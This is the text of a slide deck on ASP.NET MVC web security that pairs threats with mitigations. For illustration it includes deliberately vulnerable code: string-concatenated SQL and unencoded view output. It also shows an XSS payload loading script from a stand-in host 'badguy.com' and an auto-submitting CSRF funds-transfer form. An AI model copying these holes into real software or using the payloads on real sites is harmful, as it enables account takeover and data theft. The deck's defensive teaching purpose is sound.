Threats & Mitigation Brock Allen http://brockallen.com [email protected] @BrockLAllen Objectives • Mitigate against common threats on the web – – – – – – – – – Lack of HTTPS SQL injection XSS, CSP CSRF clickjacking over/under posting cookieless session password guessing bots Eavesdropping and server spoofing/MITM • Threat: Communication on a public network – Attackers can intercept traffic and access secrets • Threat: How do you authenticate server – Do you trust the HTML and JavaScript in your page • Mitigation: TLS/SSL/HTTPS – Security provides • Confidentiality, Integrity, Authentication – Server authentication achieved via HTTPS • As well as confidentiality and integrity – Client authentication achieved via tokens • Typically in HTTP headers – MVC provides [RequireHttps] authorization filter Protocol relative URLs • Threat: • Mitigation: protocol relative URLs – Uses hosting page’s scheme <script src=“//server.com/scripts/js”></script> Secure cookies • Threat: Leaked cookies • Mitigation: use secure cookies – browser will not send cookie over non-SSL request public ActionResult Index() { var cookie = new HttpCookie("foo", "bar") { Secure=true }; Response.Cookies.Add(cookie); return View(); } HTTP Strict Transport Security (HSTS) • Threat: Non-SSL connections – MITM can redirect/take over connection • Mitigation: HSTS – Strict-Transport-Security HTTPS response header to indicate communication should only be over HTTPS – Cache value helps mitigate MITM attacks on initial non-SSL connection – Browsers contain pre-loaded list of HSTS sites HTTP/1.1 200 OK Content-Type:text/html Strict-Transport-Security: max-age=31536000; includeSubDomains Key Pinning • Threat: Compromised CAs and MITM cert spoofing • Mitigation: Key Pinning – – – – Servers provide whitelist of certificate(s) allowed in cert chain Browser “pins” server to specified certificate Future requests must use pinned certificate RFC7469: https://tools.ietf.org/html/rfc7469 HTTP/1.1 200 OK Content-Type:text/html Public-Key-Pins: max-age=2592000; pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM="; pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g="; SQL injection • Threat: untrusted input used as executable SQL statements – due to string concatenation public ActionResult UpdateAccount(int userID, string name) { var sql = "update users set name = '" + name + "' where userid = " + userID.ToString(); ExecuteSQL(sql); return View(); } SQL injection • Mitigation: validate untrusted input – validate input with RegEx • Mitigation: escape untrusted input – use parameterized SQL to escape input • not just stored procs • LINQ to SQL and EF automatically use parameters public ActionResult UpdateAccount(int userID, string name) { SqlCommand cmd = new SqlCommand(); cmd.CommandText = "update users set name = @name where userid = @id"; cmd.Parameters.AddWithValue("@name", name); cmd.Parameters.AddWithValue("@id", userID); ExecuteCommand(cmd); return View(); } Cross-site scripting attacks (XSS) • Threat: untrusted input used as rendered HTML – malicious user gets other user to execute malicious markup • provides access to attacked user's cookies – execute from data stored in database – execute from javascript embedded in URL public ActionResult ViewProduct(string productName) { ViewData["ProductName"] = productName; return View(); } <p> Product Name: <%= ViewData["ProductName"] %> </p> Script: <script src=“http://badguy.com/attack.js”></script> Scriptless: <img src=‘http://badguy.com? Cross-site scripting attacks (XSS) • Mitigation: Validate input – RegEx for malicious inputs (<script>, e.g.) • performed automatically – control with ValidateInputAttribute • mainly used to allow HTML to be posted (when necessary) – control with AllowHtml • used on properties of model class [ValidateInput(false)] public ActionResult UpdateProduct( string name, string description) { ViewData["ProductName"] = productName; return View(); } Cross-site scripting attacks (XSS) • Mitigation: HTML encode untrusted values – Razor view engine @expression automatically encodes – If using WebForms view engine syntax use: • Html.Encode • <%: some expression %> – Html helpers all encode data – must encode for other contexts • can use AntiXSS Encode APIs <p> @ViewData["ProductName"] </p> <p> <%= Html.Encode(ViewData["ProductName"]) %> </p> <p> <%: ViewData["ProductName"] %> </p> Content security policy (CSP) • Mitigation: Only allow content from trusted sources – Content-Security-Policy HTTP header whitelists sources • Also X-WebKit-CSP and X-Content-Security-Policy • Inline script is blocked – Keywords indicate common semantics • ‘*’ • ‘self’ • ‘none’ • https: • ‘unsafe-inline’ • *.foo.com HTTP/1.1 200 OK Content-Type:text/html Content-Security-Policy: script-src ‘self’ foo.com https://bar.com *.baz.com Content security policy (CSP) • CSP can be applied to many things – ; separated list in CSP header Directive Feature default-src Sets defaults for everything script-src JavaScript connect-src Origins allowed for Ajax, SSE, WebSockets style-src CSS img-src Images font-src Fonts object-src Objects (Flash) media-src Audio/Video frame-src Frames Cross-site scripting attacks (XSS) • Mitigation: use HTTP-only cookies – browser prevents JavaScript from accessing cookies • not supported in older browsers public ActionResult Index() { var cookie = new HttpCookie("foo", "bar") { HttpOnly=true }; Response.Cookies.Add(cookie); return View(); } Cross-site request forgery (CSRF/XSRF) • Threat: unauthorized commands sent while user logged in – – – – – user logs into bank website user opens another tab in browser to malicious site page from malicious site makes requests to bank website bank website executes requests since user is logged in requires timing on part of attacker • user must be logged in <form id='theform' action='http://bank.com/TransferFunds'> <input type='text' name='fromAccount' value='123' /> <input type='text' name='toAccount' value='789' /> </form> <script> theform.submit(); </script> Cross-site request forgery (CSRF/XSRF) • Mitigation: validate requests with cookie based token – upon login, issue cookie with random value – in every <form> add hidden field with same random value – compare in action method to validate request AntiForgeryToken • Html.AntiForgeryToken emits hidden input with token • ValidateAntiForgeryTokenAttribute validates token @using (Html.BeginForm("Transfer", "Bank")) { @Html.AntiForgeryToken() <p>From: @Html.TextBox("fromAccount")</p> <p>To: @Html.TextBox("toAccount")</p> <p><input type="submit" value="Transfer" /></p> } [ValidateAntiForgeryToken] public ActionResult Transfer(string fromAccount, string toAccount) { // ... } CSRF and Web API • Threat: Web API supports form-urlencoded media type formatter for POST data – Malicious page can POST a <form> to Web API endpoint and model binding will map request data to method parameters • Mitigation: disable form-urlencoded media type formatter – <form> elements can’t submit application/json – CORS prevents cross-origin Ajax calls • Mitigation: Simulate MVC’s AntiForgeryToken support – VS2012 SPA template used this approach – Painful for both client and server – Non-browser clients don’t want to use cookies anyway • Mitigation: Don’t use cookies for Web API – Use tokens, such as bearer tokens (obtained via OAuth2) Clickjacking (site redressing) • Threat: malicious site gets users to click invisible content – malicious site uses invisible <iframe> to load another site – user thinks they're clicking one thing, but really clicking content in <iframe> • Mitigation: frame busting or frame killing – JavaScript to prevent running in <iframe> <style>html { display : none; }</style> <script type="text/javascript"> if(top === self) { document.documentElement.style.display = 'block'; } </script> • Mitigation: X-Frame-Options HTTP header – DENY, SAMEORIGIN or ALLOW-FROM origin Over/under posting • Threat: Model binding blindly maps submitted values public class UserEntity { public string Name { get; set; } public bool IsAdmin { get; set; } } public ActionResult ViewUser(int id) { UserEntity viewModel = database.GetUser(id); return View(viewModel); } public ActionResult UpdateUser(UserModel model) { database.Update(model); // ... } Over/under posting • Mitigation: use [Bind] with Include or Exclude to indicate allowed values public ActionResult UpdateUser( [Bind(Include=“Name”)] UserEntity model) { // ... } • Mitigation: Use dedicated classes for input model public class UserInputModel { public string Name { get; set; } } Cookieless session/forms authentication • Threat: Putting sensitive tokens in URL/query string – User can share with others – Attacker can deliver in phishing attack http://localhost/(S(ul35xfac4xgeapihiswyd0d1))/default • Mitigation: Use cookies – ASP.NET session state is a bad idea anyway Password guessing • Threat: automated password guessing – against public login page • happened to twitter • Mitigation: require strong passwords – give users feedback on password strength • Mitigation: use two factor authentication – must use more than password to access site Password guessing • Mitigation: slow attacker down for failed attempts – record failed attempts – use Task.Delay(1000 * NumberOfFailedAttempts) • Mitigation: lock access after failed attempts – lock account after N failed attempts • opens up DoS-like attack on account – unlock account after X amount of time var user = await UserManager.FindByNameAsync(userName); if (await UserManager.IsLockedOutAsync(user.Id)) { return SignInStatus.LockedOut; } if (!await UserManager.CheckPasswordAsync(user, password)) { await UserManager.AccessFailedAsync(user.Id); return SignInStatus.LockedOut; } // ... Bots • Threat: Bots spamming web sites – automated software creating accounts, submitting data • Mitigation: CAPTCHA – Completely Automated Public Turing Test To Tell Computers and Humans Apart – http://www.captcha.net/ Summary • Security is hard • All input is evil • Audit everything (except sensitive data)
© Copyright 2024